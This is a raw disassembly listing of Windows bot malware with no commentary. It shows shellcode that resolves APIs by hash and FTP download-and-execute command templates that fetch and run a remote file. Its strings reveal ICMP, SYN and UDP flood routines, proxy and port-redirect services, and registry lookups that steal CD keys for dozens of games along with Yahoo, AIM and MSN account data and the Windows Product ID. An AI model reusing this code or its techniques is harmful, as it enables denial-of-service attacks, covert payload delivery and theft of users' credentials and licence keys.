sub_444A80+38j jecxz short loc_444ACD dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_444AA8: ; CODE XREF: sub_444A80+32j lodsb test al, al jz short loc_444AB4 ror edx, 0Dh add edx, eax jmp short loc_444AA8 ; --------------------------------------------------------------------------- loc_444AB4: ; CODE XREF: sub_444A80+2Bj cmp edx, [esp+arg_0] jnz short loc_444A9D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_444ACD: ; CODE XREF: sub_444A80:loc_444A9Dj mov [esp+arg_0], ebx retn sub_444A80 endp ; =============== S U B R O U T I N E ======================================= sub_444AD2 proc near ; CODE XREF: sub_444A80+7p ; FUNCTION CHUNK AT 00444B0A SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_444AEB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_444AF6 ; --------------------------------------------------------------------------- loc_444AEB: ; CODE XREF: sub_444AD2+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_444AF6: ; CODE XREF: sub_444AD2+14j pop edi xor esi, esi pusha push esi jmp short loc_444B0A sub_444AD2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_444AFD proc near ; CODE XREF: sub_444AD2:loc_444B0Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_444AFD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444AD2 loc_444B0A: ; CODE XREF: sub_444AD2+29j call sub_444AFD ; END OF FUNCTION CHUNK FOR sub_444AD2 ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_444BA4 dd 23h dword_444BA8 dd 60h dword_444BAC dd 62B0606h, 2050501h, 0A0hdword_444BB8 dd 0A1h dword_444BBC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424840+16Do align 4 loc_444BC8: ; DATA XREF: sub_424840+100o jmp short near ptr dword_444BD0 ; --------------------------------------------------------------------------- align 10h dword_444BD0 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425020+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- loc_444C78: ; DATA XREF: sub_4254E0+CCo jmp short loc_444C7C ; --------------------------------------------------------------------------- loc_444C7A: ; CODE XREF: ___:loc_444C7Cp jmp short loc_444C81 ; --------------------------------------------------------------------------- loc_444C7C: ; CODE XREF: ___:loc_444C78j call loc_444C7A loc_444C81: ; CODE XREF: ___:loc_444C7Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_444C86 dw 0FFFFh ; DATA XREF: sub_4254E0+D3w db 80h, 73h, 0Eh byte_444C8B db 0FFh ; DATA XREF: sub_4254E0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_444C90: ; DATA XREF: sub_4254E0+A7o jmp short loc_444C94 ; --------------------------------------------------------------------------- loc_444C92: ; CODE XREF: ___:loc_444C94p jmp short loc_444C99 ; --------------------------------------------------------------------------- loc_444C94: ; CODE XREF: ___:loc_444C90j call loc_444C92 loc_444C99: ; CODE XREF: ___:loc_444C92j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_444C9D db 0FFh ; DATA XREF: sub_4254E0+AEw dw 7380h db 0Ch byte_444CA1 db 0FFh ; DATA XREF: sub_4254E0+B4w dw 0E243h dd 0F9h dword_444CA8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_425270+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_444D0C dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_444D1C dd 74656720h byte_444D20 db 20h ; DATA XREF: sub_425270+A2r dword_444D21 dd 0E8006A00h dword_444D25 dd 17h ; sub_425270+D2r dword_444D29 dd 0E8C30175h dword_444D2D dd 1 ; sub_425270+E7r byte_444D31 db 0, 6Ah, 0 ; DATA XREF: sub_425270+110o dd 7E8h db 0, 0Fh, 84h dword_444D3B dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; free add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_426450+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_4266A0+D0o align 10h dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o align 4 dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o align 8 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426820+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426820+2Bo dd 0 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426820+23o align 10h aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426820+Co align 4 aForsyn db 'forsyn',0 ; DATA XREF: sub_4269A0+22o align 4 aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o align 10h aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o align 10h aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o align 4 dd 0 aSyn db 'syn',0 ; DATA XREF: sub_426EB0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o align 4 dd 0 aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o align 8 aUdp db 'udp',0 ; DATA XREF: sub_427590+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_427650+C0o align 10h aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o align 10h off_444F40 dd offset byte_455247 ; DATA XREF: sub_427DC0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+AAo dd 3 dup(0) aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+33o align 4 dd 3 dup(0) aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 10h dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 4 dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: sub_4282C0+D12o db 0Dh,0Ah,0 dd 2 dup(0) aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o ; sub_4282C0+B97o dd 0 aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o ; sub_4282C0+B79o align 4 dd 0 aConnection db 'Connection:',0 ; DATA XREF: sub_4282C0+9A4o dd 0 aChunked db 'chunked',0 ; DATA XREF: sub_4282C0+961o align 8 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o align 10h aContentLength db 'Content-Length:',0 ; DATA XREF: sub_4282C0+87Do dd 0 aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6DEo db 'Connection: close',0Dh,0Ah db '%s',0 dd 2 dup(0) aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6A9o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 8 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: sub_4282C0:loc_42886Bo ; sub_4282C0+9F0o align 8 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o align 10h asc_445230 db 0Dh,0Ah,0 ; DATA XREF: sub_4282C0+46Co ; sub_4282C0+52Co ... align 4 aHttprox db 'HTTPROX',0 ; DATA XREF: sub_4282C0+437o align 10h aConnect db 'connect',0 ; DATA XREF: sub_4282C0+202o dd 0 aConnect_0 db 'CONNECT',0 ; DATA XREF: sub_4282C0+1CDo align 8 off_445258 dd offset byte_544547 ; DATA XREF: sub_4282C0+108o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_4299C0+22o align 4 aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o dd 2 dup(0) aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo dd 2 dup(0) aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o align 10h aSocks4 db 'Socks4',0 ; DATA XREF: sub_429D00+22o ; sub_42A090+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o align 8 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co align 10h dd 2 dup(0) dword_445338 dd 1000005h, 0 dword_445340 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42B880+20Fo align 4 dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42B880+3Fo align 4 dd 2 dup(0) aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042C435o align 10h aRoot db 'root',0 ; DATA XREF: ___:0042C3C1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:00445408o align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 8 aCalloc db 'calloc',0 align 10h aSetsockopt db 'setsockopt',0 align 10h aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42C810+49o ; sub_42C810:loc_42C8CDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o align 4 dd 0 aRead db 'read',0 ; DATA XREF: sub_42CC50:loc_42CDECo align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_42D0D0+72o align 10h aUserS db 'USER %s',0 ; DATA XREF: sub_42D0D0+3Do dd 0 aWrite db 'write',0 align 4 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42D1A0+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o align 10h dd 0 dword_4454E4 dd 524F5453h byte_4454E8 db 0 ; DATA XREF: sub_42D2C0+EDr align 4 dword_4454EC dd 52544552h byte_4454F0 db 0 ; DATA XREF: sub_42D2C0+D3r align 4 dword_4454F4 dd 5453494Ch byte_4454F8 db 0 ; DATA XREF: sub_42D2C0+B8r align 4 dword_4454FC dd 54534C4Eh byte_445500 db 0 ; DATA XREF: sub_42D2C0+9Er align 4 dword_445504 dd 45505954h, 632520h, 0 ; ___:0042E6CAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42D2C0+2Do align 4 dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 10h aListen db 'listen',0 align 4 aBind db 'bind',0 align 10h aGetsockname db 'getsockname',0 align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo align 8 aPasv db 'PASV',0 ; DATA XREF: sub_42D580+B4o align 10h aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o align 10h aTimedOutWaitin db 'timed out waiting for connection',0 align 8 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 10h dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo align 10h dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo align 10h dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042E0DEo dd 0 aSyst db 'SYST',0 ; DATA XREF: ___:0042E13Do align 4 aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042E1CEo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042E24Eo align 4 aCdup db 'CDUP',0 ; DATA XREF: ___:0042E2A7o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042E2FEo align 4 off_4456BC dd offset aInterlockedcom ; DATA XREF: ___:0042E35Do ; "InterlockedCompareExchange" aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42E400:loc_42E581o dd 0 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o align 4 dd 0 word_4456FC dw 77h ; DATA XREF: sub_42E400+1Fr align 10h dword_445700 dd 25206425h, 64hdword_445708 dd 455A4953h, 732520h, 0dword_445714 dd 4D54444Dh, 732520h, 0dword_445720 dd 4F544E52h, 732520h, 0dword_44572C dd 52464E52h, 732520h, 0dword_445738 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42EA40+10o align 4 dword_44574C dd 1 ; sub_430460+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o ; ___:off_4456BCo align 10h aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_431280+6o align 10h aA: ; DATA XREF: sub_433A20+36o unicode 0, <€>,0 dd 13h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 4468A4h, 446F70h, 446870h, 80000002h, 446810h dd 446F70h, 4467E0h, 80000002h, 446788h, 446F70h, 446764h dd 80000002h, 44671Ch, 446F70h, 446704h, 80000002h, 4466C0h dd 446F70h, 446698h, 80000002h, 44665Ch, 446F70h, 446628h dd 80000002h, 4465C8h, 446F70h, 44659Ch, 80000002h, 446578h dd 446570h, 446544h, 80000002h, 44651Ch, 446570h, 446504h dd 80000001h, 4464D4h, 4464D0h, 4464C0h, 80000002h, 446484h dd 446F70h, 446474h, 80000002h, 446438h, 446F70h, 446424h dd 80000002h, 4463DCh, 446F70h, 4463C0h, 80000002h, 44637Ch dd 446F70h, 446360h, 80000001h, 446338h, 4464D0h, 446328h dd 80000001h, 446300h, 4464D0h, 4462E0h, 80000002h, 4462A4h dd 4462A0h, 446284h, 80000002h, 446260h, 446258h, 446240h dd 80000001h, 446214h, 44620Ch, 4461E8h, 80000002h, 44619Ch dd 446F70h, 446174h, 80000002h, 446120h, 446F70h, 4460E8h dd 80000002h, 446084h, 446F70h, 446050h, 80000002h, 445FF0h dd 446F70h, 445FD4h, 80000002h, 445F8Ch, 446F70h, 445F70h dd 80000002h, 445F28h, 446F70h, 445F18h, 80000002h, 445EDCh dd 446F70h, 445ECCh, 80000002h, 445E90h, 446F70h, 445E68h dd 80000002h, 445E14h, 446F70h, 445DECh, 80000002h, 445D9Ch dd 446F70h, 445D80h, 80000002h, 445D58h, 4464D0h, 445D44h dd 80000002h, 445D0Ch, 446F70h, 445CDCh, 80000002h, 445C84h dd 446F70h, 445C68h, 80000001h, 445C18h, 445C10h, 445BF4h dd 80000002h, 445BB0h, 445BA4h, 445B8Ch, 80000001h, 445B5Ch dd 445B50h, 445B30h, 80000002h, 445AF4h, 445C10h, 445AD4h dd 80000002h, 445A98h, 445C10h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 10h dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 10h dd 0 aSof2key db 'sof2key',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 10h aCdkey db 'CDKey',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 dd 3 dup(0) aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 10h dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aNeverwinterNig db '[Neverwinter Nights: ',0 align 4 dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 10h aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A32h, 0 aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing20 db '[Nascar Racing 2003: ',0 align 4 dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 10h aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 4 dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 dd 3 dup(0) aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 4 dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aIndustryGiant2 db '[Industry Giant 2: ',0 align 8 aCdkey_0 db 'CDkey',0 align 10h aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 10h aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 8 aHalfLife db '[Half-Life: ',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aGunmanChronicl db '[Gunman Chronicles: ',0 align 4 dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db '[Global Operations: ',0 align 4 dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 4 aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aFifa2002 db '[FIFA 2002: ',0 align 10h aKey_0 db 'Key',0 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 align 4 dd 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 4 dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 10h aSerial db 'Serial',0 align 4 aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 4 dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h dd 2 dup(0) aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 dd 3 dup(0) aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 10h aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 4 dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 dd 2 dup(0) aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 10h aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 dd 3 dup(0) aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457D0o align 10h aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:00434FBAo align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00434F7Eo align 10h aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o align 4 dd 0 dword_44693C dd 3A6D6961h, 732520h, 0dword_446948 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:00434E82o db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 4 dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 8 aSMainS db '%s\main\%s',0 align 8 aCodkey db 'codkey',0 align 10h aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 8 aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 10h dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_446A7C dd 3A6E736Dh, 732520h, 0dword_446A88 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00435447o db 'ice',0 align 4 dd 3 dup(0) aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo align 10h aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4356F0+52Bo align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4356F0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4356F0+4A4o align 8 aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4356F0+3BBo align 4 loc_446BB4: ; DATA XREF: sub_4356F0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_446BBF: ; DATA XREF: sub_4356F0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_446BCB: ; DATA XREF: sub_4356F0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_446BD7: ; DATA XREF: ___:00435EB6o ; ___:00436110o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_446BE8: ; CODE XREF: ___:00446BEDj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_446BE8 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043633Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ch dup(0) off_446CE0 dd offset off_43E1D4 ; DATA XREF: ___:off_43E318o ; ___:0043E354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Bh dup(0) byte_446F70 db 0 ; DATA XREF: sub_4034E0+95o ; sub_404640+200o ... align 4 dword_446F74 dd 0 ; sub_4245F0+11o ... dword_446F78 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D3DFr ... align 10h dword_446F80 dd 0 ; ___:0040D345w ... dd 8 dup(0) dword_446FA4 dd 41h dup(0) ; ___:0040D380o ... dword_4470A8 dd 0 ; ___:loc_40D3D4r ... dword_4470AC dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D34Fr ... dword_4470B0 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D580+CAw dword_4470B4 dd 0 ; sub_40D580+E3r dd 11h dup(0) dword_4470FC dd 0 ; sub_40FF60+47Dr dword_447100 dd 0 ; sub_40FF60+515r ... dword_447104 dd 0 ; sub_40FF60+655r ... dword_447108 dd 0 ; sub_40FF60+B79r ... dword_44710C dd 0 ; sub_40FF60+74Br dword_447110 dd 0 ; sub_40FF60+828r dword_447114 dd 0 ; sub_40FF60+77Cr dword_447118 dd 0 ; sub_40FF60+4DDr ... dword_44711C dd 0 ; sub_40FF60+311r dword_447120 dd 0 ; sub_40FF60+34Dr ... dword_447124 dd 0 ; sub_40FF60+33Dr dword_447128 dd 0 ; sub_40FF60+3D2r dword_44712C dd 0 ; sub_40FF60+E93r dword_447130 dd 0 ; sub_40FF60+1220r ... dword_447134 dd 0 ; sub_411FE0+4DAr dword_447138 dd 0 ; sub_40FF60+683r dword_44713C dd 0 ; sub_40FF60+6B5r dword_447140 dd 0 ; sub_40FF60+1252r dd 5 dup(0) dword_447158 dd 10h dup(0) ; ___:0040405Fo ... db 2 dup(0) byte_44719A db 0 ; DATA XREF: sub_409A30r sub_409AA0r align 4 db 3 dup(0) byte_44719F db 0 ; DATA XREF: sub_40D580+10Fr db 0 byte_4471A1 db 0 ; DATA XREF: sub_40DB10r word_4471A2 dw 0 ; DATA XREF: sub_40DB10+9o dd 44h dup(0) db 3 dup(0) byte_4472B7 db 0 ; DATA XREF: ___:00412ECAo ; ___:00412F7Fo ... db 3 dup(0) byte_4472BB db 0 ; DATA XREF: sub_41F860:loc_41F89Dr align 